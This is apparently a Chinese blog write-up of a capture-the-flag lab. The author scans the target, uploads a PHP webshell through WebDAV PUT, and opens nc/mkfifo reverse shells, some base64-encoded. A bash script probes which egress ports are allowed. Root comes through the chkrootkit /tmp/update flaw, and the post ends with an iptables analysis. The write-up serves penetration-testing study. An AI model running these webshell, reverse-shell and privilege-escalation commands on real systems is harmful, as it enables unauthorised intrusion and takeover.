端口
nmap主机发现
nmap -sn 192.168.148.0/24 Nmap scan report for 192.168.148.131 Host is up (0.00020s latency). 131是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.148.131 -p- --min-rate 10000 -oA nmap/scan 扫描开放端口保存到 nmap/scan下 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 发现开放2个端口
nmap -sT -sC -sV -O -p22,80,111 -oA nmap/scan 192.168.148.131详细端口扫描: -sT:完整tcp连接 -sC:默认脚本扫描 -sV:服务版本探测 -O:系统信息探测 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http lighttpd 1.4.28 MAC Address: 00:0C:29:87:23:A4 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose 分析: 主要打80端口
立足
80端口
查看网站页面在,只有一张图片,查看robots.txt,404notfound 现在目录扫描:gobuster dir -u http://192.168.148.131/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt --add-slash 发现目录: /test/ (Status: 200) [Size: 2454] http://192.168.148.131/test:发现目录为空 查看此目录支持的操作: curl -X OPTIONS -s http://192.168.148.131/test -v * Trying 192.168.148.131:80... * Connected to 192.168.148.131 (192.168.148.131) port 80 > OPTIONS /test HTTP/1.1 > Host: 192.168.148.131 > User-Agent: curl/8.8.0 > Accept: */* > * Request completely sent off < HTTP/1.1 301 Moved Permanently < DAV: 1,2 < MS-Author-Via: DAV < Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK < Location: http://192.168.148.131/test/ < Content-Length: 0 < Date: Wed, 18 Sep 2024 15:13:52 GMT < Server: lighttpd/1.4.28 < * Connection #0 to host 192.168.148.131 left intact 发现有PUT命令,可以写入文件,直接文件上传一个php一句话木马: curl -v -X PUT -d '<?php system($_GET["a"]);?>' http://192.168.148.131/test/1.php 输入命令id发现php被服务解析
文件管道反弹shell的利用
这种情况下,从web参数中使用反弹shell,需要我们构造的反弹shell命令能被服务正确解析,然而我尝试了很多的反弹shell,都解析失败了,具体原因不清除,但我猜测是各种双引号单引号截断和转义的原因,因此我将反弹shell命令使用base64编码并执行 这里是我使用的反弹shell,我会介绍这个反弹shell的执行过程 mkfifo /tmp/f;nc 192.168.148.47 1234 0</tmp/f | /bin/sh > /tmp/f 2>&1;rm /tmp/f 解析: 1.创建了个文件管道 2.0</tmp/f:0表示标准输入,就是将/tmp/f的内容作为标准输入,传递给netcat作为网络传输,就是netcat将执行命令的结果返回给攻击机器 3.| /bin/sh:这个命令是将netcat的输出传给到/bin/sh,让其执行,netcat的输出就是攻击机器输入的命令 4.> /tmp/f 2>&1:这个命令是将/bin/sh执行的结果(标准输出)重定向到/tmp/f文件,2>&1表示标准错误输出也向标准输出那样处理,重定向到/tmp/f文件 总结:在反弹shell里,netcat的输出就是攻击机器发过来的命令,netcat输入就是存放在/tmp/f下命令执行的结果,数据流执行如下: 1.攻击机器发送命令给netcat 2.netcat的输出作为/bin/sh输入 3./bin/sh的输入当作命令执行,执行结果作为/tmp/f的输入,输入到文件/tmp/f中 4./tmp/f的输出作为netcat的输入,netcat的输入(命令执行结果)传给攻击机器 这里我直接base64编码来使用这个反弹shell echo "mkfifo /tmp/f;nc 192.168.148.47 1234 0</tmp/f | /bin/sh > /tmp/f 2>&1;rm /tmp/f" | base64 | tr -d '\n' bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjE0OC40NyAxMjM0IDA8L3RtcC9mIHwgL2Jpbi9zaCA+IC90bXAvZiAyPiYxO3JtIC90bXAvZgo= 将以下命令传递给a参数执行反弹shell echo "bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjE0OC40NyAxMjM0IDA8L3RtcC9mIHwgL2Jpbi9zaCA+IC90bXAvZiAyPiYxO3JtIC90bXAvZgo=" | base64 -d | bash 执行没有成功
执行未成功原因
http://192.168.148.131/test/1.php?a=echo%20%22bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjE0OC40NyAxMjM0IDA8L3RtcC9mIHwgL2Jpbi9zaCA+IC90bXAvZiAyPiYxO3JtIC90bXAvZgo=%22%20|%20base64%20-d 我来查看原因,先看看靶机把base64解析成什么: 访问http://192.168.148.131/test/1.php?a=echo%20%22bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjE0OC40NyAxMjM0IDA8L3RtcC9mIHwgL2Jpbi9zaCA+IC90bXAvZiAyPiYxO3JtIC90bXAvZgo=%22%20 得到
可以看到靶机的base64有问题,解码的字符串不是"mkfifo /tmp/f;nc 192.168.148.47 1234 0</tmp/f | /bin/sh > /tmp/f 2>&1;rm /tmp/f",不过非常容易解决,只需要少个空格就能解决成功,在不改变原本语法少几个空格或多个空格多试几次,如下: echo "mkfifo /tmp/f;nc 192.168.148.47 1234 0 < /tmp/f|/bin/sh> /tmp/f 2>&1;rm /tmp/f" | base64 | tr -d '\n' bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjE0OC40NyAxMjM0IDAgPCAvdG1wL2Z8L2Jpbi9zaD4gL3RtcC9mIDI+JjE7cm0gL3RtcC9mCg== 就能解析成功
还有一种方法上传反弹shell: curl -v -X PUT -d '<?php system("mkfifo /tmp/f; nc 192.168.148.47 443 0</tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f");?>' http://192.168.148.131/test/f.php 能直接执行成功
防火墙
但是base64解析成功了仍然没有成功,说明可能有防火墙的阻拦,我们可以尝试几个常用端口,或者使用shell脚本进行扫描查看 一般来说反弹shell是能轻松绕过防火墙的,因为反弹shell是靶机主动发起的连接,阻止反弹shell连接,需要管理员对本地连接远程的端口做限制,具体等提权的时候会详细说,我们先尝试其他端口监听反弹shell 最后发现攻击机器监听443端口可以成功获取反弹shell: "mkfifo /tmp/f;nc 192.168.148.47 443 0 < /tmp/f|/bin/sh> /tmp/f 2>&1;rm /tmp/f" 记得base64编码,然后将解码执行的命令传递给参数a,我们就能获取反弹shell
shell脚本扫描可利用的反弹shell
下面是我编写的反弹shell连接脚本,通过此脚本,我们可以测试出哪个端口可以使用反弹shell连接攻击机器。 它的实现原理就是让靶机执行连接不同端口的反弹shell命令,如果攻击机器监听的端口有响应说明,反弹shell可以使用此端口,脚本如下:
#!/bin/bash # 靶机ip target_ip="192.168.148.131" # 攻击者ip callback_ip="192.168.148.47" # 攻击者机器的临时监听文件 output_file="/tmp/nc_output" for port in $(seq 8078 65535);do echo "[*] Scanning ${port}" if [ -f "$output_file" ]; then echo "[*] $output_file exists, Deleting it..." echo "" > "$output_file" else echo "[*] $output_file does not exist." fi touch "$output_file"; nc -nvlp ${port} > "$output_file" 2>&1 & nc_pid=$! echo "[*] nc_pid is $nc_pid" sleep 1 reverse_shell="nc ${callback_ip} ${port}" encoded_shell=$(echo "$reverse_shell" | base64 | tr -d '\n') request_url="http://${target_ip}/test/1.php?a=echo%20%22${encoded_shell}%22%20|%20base64%20-d%20|%20bash" echo "[*] Sending request to ${request_url}" curl --max-time 1 -s "${request_url}" result=$(cat "$output_file" | grep connect) # echo "$result" if [ "$result" != "" ]; then echo "[!] This port ${port} can reach." else echo "[*] This port ${port} can not reach." fi # if grep -q "connect" "$output_file"; then # echo "[*] The port can reach" # fi sleep 1 nc_process=$(ps aux | grep "$nc_pid") if [ "$nc_process" != "" ]; then echo "[*] The ${nc_pid} is running, kill it." kill "$nc_pid" fi echo -e "\n\n" done echo "[*] Port scanning and reverse shell requests completed."
使用此脚本可以扫描出来攻击机器可以监听的端口,我们可以看到443端口和8080端口可以使用反弹shell
tips: 针对这台靶机,此脚本可能利用不成功的原因,如下: 1.靶机base64解码有问题,需要手动尝试base64解码结果 2.靶机部署的服务过于轻量级,发送几个包80端口就直接崩掉 但是,这2点都是靶机的问题,脚本没有任何问题,因此有一定的实战意义
提权
信息收集: sudo -l:没有权限 cat /etc/crontab:没有任何计划任务 find / -perm -u=s -type f 2>/dev/null:没有可利用的suid文件 内核漏洞searchsploit,没有适合的漏洞利用 敏感信息收集:发现用户很少,私人信息也很少,不可利用 但是linux仍然可能存在提权漏洞,我们需要使用工具linpeas扫描
这就是我们扫描防火墙的优势,因为我们可以请求攻击机器8080端口获取linpeas.sh脚本 攻击机器:python3 -m http.server 8080 靶机:wget http://192.168.148.47:8080/linpeas.sh 执行./linpeas.sh,我们将获取到足够多的信息,以及足够多的漏洞,其中这样的一个漏洞引人注目: [+] [CVE-2014-0476] chkrootkit Details: http://seclists.org/oss-sec/2014/q2/430 Exposure: less probable Download URL: https://www.exploit-db.com/download/33899 Comments: Rooting depends on the crontab (up to one day of delay) 它不是内核漏洞,但需要依赖crontab 我们进入它的利用文章查看即可
exp是个txt文件,以下是对exp的翻译: 如果 $file_port 为空,则由于变量赋值周围缺少引号,因此行 'file_port=$file_port $i' 将在 chkrootkit 运行时(通常是 root)执行 $SLAPPER_FILES 中指定的所有文件。 重现步骤: - 将名为 'update' 的可执行文件放入 /tmp 中,该文件的所有者为非 root(显然不是挂载的 noexec) - 运行 chkrootkit(作为 uid 0) 结果:如果文件中放置了恶意内容,则文件 /tmp/update 将以 root 身份执行,从而有效地 root 您的机器。 如果攻击者知道您正在定期运行 chkrootkit(例如在 cron.daily 中)并且对 /tmp 具有写访问权限(不是挂载的 noexec),他可能会轻松利用这一点。
我们按照它的说法: 1.以任意用户新建/tmp/update文件 2.将root权限的反弹shell写入/tmp/update 3.给他可执行权限:chmod +x /tmp/update 靶机:echo "mkfifo /tmp/f;nc 192.168.148.47 8080 0</tmp/f | /bin/sh > /tmp/f 2>&1;rm /tmp/f" >/tmp/update 攻击机:nc -nvlp 8080 过一段时间获取root权限 whoami root id uid=0(root) gid=0(root) groups=0(root)
防火墙分析
标签:tmp,shell,base64,端口,防火墙,192.168,echo,tcp From: https://blog.csdn.net/anddddoooo/article/details/142337797之前www-data,也就是打点进来的用户是没有权限查看iptables的,现在我们是root权限,可以查看防火墙规则,现在我将详细解释管理员是如何设置iptables的 iptables -L 结果如下: Chain INPUT (policy DROP)0 target prot opt source destination ACCEPT tcp -- anywhere anywhere tcp dpt:ssh ACCEPT tcp -- anywhere anywhere tcp dpt:http ACCEPT tcp -- anywhere anywhere tcp spt:http-alt ACCEPT tcp -- anywhere anywhere tcp spt:https Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy DROP) target prot opt source destination ACCEPT tcp -- anywhere anywhere tcp spt:ssh ACCEPT tcp -- anywhere anywhere tcp spt:http ACCEPT tcp -- anywhere anywhere tcp dpt:http-alt ACCEPT tcp -- anywhere anywhere tcp dpt:https INPUT规则解析 允许出网时要满足的条件(源端口spt为本地端口,目标端口dpt为远程端口)(满足其中一条即可): 1.允许本地端口22,80出网,远程端口任意 2.允许远程端口8080、443出网,本地端口任意 OUTPUT规则解析 允许入网时要满足的条件(源端口spt为远程端口,目标端口dpt为本地端口)(满足其中一条即可): 1.允许本地端口为80,22入网,远程端口任意 2.允许远程端口是443、8080入网,本地端口任意 综上: 完整通信的满足条件(满足一条就可): 1.本地端口为22,80,可以完整通信 2.远程端口为443,8080,可以完整通信 反弹shell: 靶机开启一个随机的本地端口,连接远程攻击机器的端口,我们只需要攻击机监听443或、8080端口,满足完整通信的条件2就可以使用反弹shell了 为什么大多情况要使用反弹shell,因为反弹shell是靶机主动发起的连接,要限制反弹shell,管理员就必须限制连接过来的端口号,而大多数情况下,连接过来的端口都是随机的,管理员也不好限制,因为一旦限制就损坏了服务的可用性